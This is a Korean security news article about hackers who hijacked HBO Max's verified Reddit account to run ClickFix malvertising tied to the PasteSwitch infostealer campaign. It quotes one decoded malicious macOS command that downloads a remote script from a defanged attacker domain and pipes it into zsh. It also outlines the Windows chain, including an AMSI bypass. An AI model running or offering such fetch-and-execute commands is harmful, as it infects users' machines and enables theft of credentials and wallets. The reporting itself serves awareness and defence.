해커들이 HBO Max의 공식 레딧(Reddit) 계정을 탈취해, 약 48시간 동안 108개의 악성 광고를 게재했습니다. 이 광고들은 'ClickFix'라는 사회공학 기법을 활용해 피해자가 직접 악성 명령어를 자신의 컴퓨터에 붙여넣도록 유도했으며, 그 결과 Windows와 macOS 모두에서 정보 탈취 악성코드에 감염될 수 있었습니다. HBO Max 앱 외에도 가짜 AI 도구, 개발자 소프트웨어, 암호화폐 지갑 앱 등으로 위장해 광범위한 사용자를 노렸습니다. 탈취된 정보에는 브라우저 비밀번호, 암호화폐 지갑 복구 구문 등이 포함됩니다. 이 공격은 'PasteSwitch'라 불리는 더 큰 악성 캠페인의 일부로 확인되었습니다.
해커가 레딧의 공식 인증 계정인 u/hbomax를 탈취한 뒤, 약 48시간에 걸쳐 108개의 악성 광고를 집행했다. 광고를 클릭한 사용자는 가짜 HBO Max 사이트로 유도되어 ClickFix 기법으로 악성 명령어를 직접 실행하도록 속았다.
Windows와 macOS 양쪽 사용자가 대상이 되었으며, 브라우저 자격증명·Firefox 프로필·Telegram 데이터·Apple Notes·macOS 비밀번호가 탈취되고 암호화폐 지갑 복구 구문까지 도용당할 수 있다. 또한 감염된 시스템은 공격자 서버에 등록되어 추가 악성 작업을 수행하도록 제어될 수 있다.
인증된 브랜드 레딧 계정이 침해되어 신뢰성 있는 광고 채널로 악용되었으며, ClickFix 기법이 보안 소프트웨어의 탐지를 우회하는 데 효과적으로 사용되었다. 공격 인프라(ember-bridge[.]com 등)는 PasteSwitch 캠페인의 일환으로 운영되었다.
악성 광고가 신고된 후 레딧 관리자가 광고를 일시 중지하고 Reddit 보안팀에 보고했다. HBO 및 Warner Bros. Discovery 측은 아직 공식 입장을 내놓지 않았으며, 계정 침해 경위도 확인되지 않은 상태다.
공식 인증 계정에서 나온 광고라도 Terminal·PowerShell·Run 창에 명령어를 붙여넣으라는 지시는 즉시 의심해야 한다. 임직원 대상 ClickFix 공격 예방 교육과 함께, 기업 SNS 계정의 접근 자격증명 관리 및 MFA 적용 여부를 점검해야 한다.
본문
해커들이 HBO Max의 공식 레딧 계정을 침해한 뒤, 이를 이용해 악성 광고를 게재함으로써 ClickFix 공격을 실행했습니다. 이를 통해 Windows 및 macOS 기기에 정보 탈취 악성코드를 감염시켰습니다.
보안 연구기관 Hudson Rock과 ADAMnetworks가 해당 캠페인을 분석한 결과, 인증된 u/hbomax 레딧 계정이 탈취되어 약 48시간에 걸쳐 108개의 악성 광고를 게재하는 데 사용되었습니다.
이 광고들은 ClickFix라고 알려진 사회공학 기법을 사용했습니다. 이 기법은 오류를 수정하거나, CAPTCHA를 인증하거나, 정상 소프트웨어를 설치하는 것처럼 속여 사용자가 Windows Run, PowerShell, 또는 macOS Terminal에 악성 명령어를 직접 복사·붙여넣기 하도록 유도합니다.
이 공격 방식은 피해자가 합법적인 운영체제 도구를 이용해 직접 악성 명령어를 실행하기 때문에, 악성코드 다운로드를 탐지하도록 설계된 일부 브라우저 및 보안 소프트웨어를 우회할 수 있어 사이버 범죄자들 사이에서 점점 더 많이 사용되고 있습니다.
HBO Max 계정을 통해 게재된 광고 중 일부는 해당 스트리밍 서비스를 사칭했지만, 다른 광고들은 가짜 AI 도구, 개발자 소프트웨어, macOS 유틸리티를 홍보했습니다.
Hudson Rock과 ADAMnetworks는 이 공격을 'PasteSwitch'라고 부르는 더 큰 캠페인과 연결지었습니다. 이 캠페인은 Windows와 macOS 시스템 모두를 표적으로 삼으며, 정보 탈취 악성코드(infostealer), 로더(loader), 암호화폐 클리퍼(cryptocurrency clipper), 가짜 암호화폐 지갑 애플리케이션을 배포하는 데 사용되어 왔습니다.
연구자들에 따르면 PasteSwitch라는 명칭은 피해자가 시스템에 붙여넣는 공격자 제공 명령어의 사용 방식에서 유래했으며, 공격자의 백엔드는 방문자에 따라 캠페인, 플랫폼, 페이로드(payload, 악성 실행 코드), 암호화폐 탈취 방법을 전환합니다.
BleepingComputer는 이번 사건과 관련해 HBO 및 Warner Bros. Discovery에 문의했으나 아직 답변을 받지 못했습니다.
가짜 HBO Max 앱, 악성코드 배포
이 캠페인은 한 레딧 사용자가 인증된 HBO Max 계정에서 게재된 광고를 발견하면서 처음 알려졌습니다. 해당 광고는 macOS용 네이티브 HBO Max 애플리케이션처럼 보이는 것을 홍보하고 있었습니다.
레딧에 게재된 악성 HBO Max 광고
출처: Adam Networks
"레딧을 둘러보다가 u/hbomax가 작성자로 표시된 광고를 발견했습니다. 광고는 제가 들어본 적 없는 macOS HBO Max 앱을 홍보하고 있었는데, 흥미가 생겼습니다. 해당 계정은 인증된 계정이고 HBO Max 공식 서브레딧에 여러 번 게시한 것으로 보였습니다." 라고 해당 사용자는 경고했습니다.
"광고를 클릭하면 hbomaxx[.]us로 이동하는데, 어느 정도 정상적으로 보이며 가입 버튼과 다운로드 버튼이 있습니다. 이 버튼들을 클릭하면 고전적인 정보 탈취/ClickFix 방식인 '이 명령어를 붙여넣어 다운로드하세요' 화면이 나타납니다. 확인해보니 이 명령어는 계정 탈취 기능을 포함한 실행 파일을 다운로드합니다(물론 완전한 샌드박스 환경에서 분석했으며 실행하지 않고 출력 결과만 확인했습니다)."
광고를 클릭한 사용자는 애플리케이션 다운로드를 제공하는 것처럼 보이는 정교한 가짜 HBO Max 웹사이트로 리디렉션되었습니다.
이 캠페인에서 사용된 가짜 HBO Max 사이트 중 하나는 hbomaxx[.]us였습니다. 그러나 다운로드 버튼을 클릭해도 앱이 다운로드되지 않고, 대신 방문자에게 Terminal을 열어 명령어를 붙여넣어 소프트웨어를 설치하라는 안내가 표시되었습니다.
BleepingComputer가 이 공격에서 확인한 macOS 명령어 중 하나는 실행할 명령어를 숨기기 위해 Base64 인코딩을 사용했습니다. 디코딩하면 다음과 같은 명령어가 포함되어 있었습니다:
export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh
Hudson Rock은 ember-bridge[.]com을 PasteSwitch 작전에서 9월 악성코드 배포에 사용된 인프라로 지목했습니다.
이 공격에 사용된 악성코드 패밀리 중 하나는 MacSync로, Hudson Rock에 따르면 브라우저 자격증명, Firefox 프로필, Telegram 데이터, Apple Notes, macOS 비밀번호를 탈취합니다.
또 다른 공격 체인은 "AMOS helper"를 배포하는데, 이 악성코드는 .com.apple.accountsd라는 디렉토리를 이용해 지속성을 확보합니다. 이후 감염된 시스템을 공격자가 제어하는 서버에 등록해 추가 작업을 수행할 수 있습니다.
이 캠페인은 또한 가짜 Ledger, Trezor Suite, Exodus 암호화폐 지갑 애플리케이션을 배포했으며, 이 앱들은 피해자의 지갑 복구 구문을 탈취하도록 설계되었습니다.
Windows 시스템에서 PasteSwitch는 피해자가 mshta와 PowerShell을 사용해 명령어를 실행하도록 유도하는 지시문을 표시하는 것이 관찰되었습니다.
Hudson Rock에 따르면 Windows 공격 체인 중 하나는 MP3/HTA 폴리글롯(polyglot, 두 가지 형식으로 동시에 해석 가능한 파일)을 사용해 예약 작업(scheduled task)을 생성하고, 32비트 PowerShell을 실행하며, Microsoft의 AMSI(Antimalware Scan Interface, 맬웨어 방지 검사 인터페이스)를 비활성화한 뒤, 컴퓨터 이름과 사용자 이름을 기반으로 피해자 맞춤형 인프라를 생성했습니다.
이후 단계에서는 난독화된 PowerShell과 셸코드(shellcode)를 사용해 최종 페이로드를 디스크에 저장하지 않고 Amatera Stealer를 메모리에 직접 로드했습니다.
PasteSwitch는 AnimateClipper와 ZigClipper를 포함한 암호화폐 클립보드 하이재킹 악성코드(복사한 암호화폐 지갑 주소를 공격자 주소로 바꿔치기하는 악성코드)도 배포한 것으로 확인되었습니다.
연구자들에 따르면 HBO Max 광고는 침해된 레딧 계정을 통해 집행된 훨씬 더 큰 광고 캠페인의 일부였습니다.
연구자들은 hbomaxx[.]app을 가리키는 광고 40개, 가짜 AI 및 개발자 사이트 codex-craft[.]com을 홍보하는 광고 36개, apple.clean-disk-guide[.]com을 홍보하는 광고 15개, code-desktop[.]com을 가리키는 광고 11개, hbomax-macos[.]com을 홍보하는 광고 6개를 확인했습니다.
이를 통해 공격자들은 HBO Max 사용자뿐만 아니라 AI 소프트웨어 및 시스템 유틸리티를 검색하는 개발자와 일반 사용자를 포함해 더 넓은 대상을 표적으로 삼을 수 있었습니다.
악성 광고가 신고된 후 레딧 관리자가 광고를 일시 중지하고 Reddit의 보안 및 안전팀에 보고했습니다.
공격자가 어떻게 HBO Max 레딧 계정에 접근했는지, 그리고 다른 HBO 또는 Warner Bros. Discovery 계정이나 시스템이 영향을 받았는지는 아직 불분명합니다.
